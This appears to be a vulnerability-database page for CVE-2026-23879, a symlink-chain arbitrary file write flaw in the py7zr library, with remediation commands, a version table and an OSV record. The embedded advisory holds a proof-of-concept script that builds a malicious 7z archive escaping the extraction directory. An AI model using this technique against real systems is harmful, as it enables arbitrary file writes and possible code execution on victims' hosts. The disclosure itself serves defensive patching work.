CVE-2026-23879: py7zr Arbitrary File Write Vulnerability Vulnerability
HIGHCVE-2026-23879 is a HIGH (CVSS 8.0) arbitrary file write vulnerability vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting py7zr libraries in the PyPI ecosystem. The issue involves arbitrary file write vulnerability. Remediation is available by upgrading affected packages to version 1.1.3.
CVE-2026-23879 at a Glance
Security Impact
CVSS: 8.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-23879
To remediate this vulnerability, upgrade all affected py7zr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install py7zr>=1.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show py7zr
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-23879, inspect your installed packages using pip:
pip show py7zr
Analyze the terminal output to locate any version of py7zr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.3), your application is affected.
Note: The pip show py7zr command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In py7zr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23879 Affected py7zr Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
py7zr
|
PyPI |
< 1.1.3
|
1.1.3
|
References
Frequently Asked Questions
What is CVE-2026-23879?
Which py7zr versions are affected?
What version fixes CVE-2026-23879?
Is py7zr affected?
What is the CVSS score of CVE-2026-23879?
What CWE is associated with CVE-2026-23879?
How can I check PyPI dependencies for CVE-2026-23879?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q6rc-2cgv-63h7",
"modified" : "2026-07-21T13:17:00Z",
"published" : "2026-06-19T19:21:57Z",
"aliases" : [ "CVE-2026-23879" ],
"summary" : "py7zr: Arbitrary File Write Vulnerability",
"details" : "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n<img width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" />\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n filename = \"archive.7z\"\n file_path = output_dir + filename\n with py7zr.SevenZipFile(file_path, 'w') as archive:\n archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n add_symlink(archive, \"dir1\", \"dir0/..\")\n add_symlink(archive, \"dir2\", \"dir1/..\")\n add_symlink(archive, \"dir3\", \"dir2/..\")\n add_symlink(archive, \"dir4\", \"dir3/..\")\n add_symlink(archive, \"dir5\", \"dir4/..\")\n add_symlink(archive, \"dir6\", \"dir5/..\")\n add_symlink(archive, \"dir7\", \"dir6/..\")\n add_symlink(archive, \"dir8\", \"dir7/..\")\n add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n os.makedirs(output_dir, exist_ok=True)\n with py7zr.SevenZipFile(seven_path, mode='r') as z:\n z.extractall(path=output_dir)\n print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n seven_file = sys.argv[1]\n base_name = os.path.splitext(os.path.basename(seven_file))[0]\n output = base_name + \"_sevenz_output\"\n\n extract_7z(seven_file, output)\n```\n\n### Impact\n<img width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" />\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "py7zr"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23879"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-q6rc-2cgv-63h7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/miurahr/py7zr"
}, {
"type" : "WEB",
"url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/py7zr"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-59" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T19:21:57Z",
"nvd_published_at" : "2026-06-24T20:16:31Z"
}
}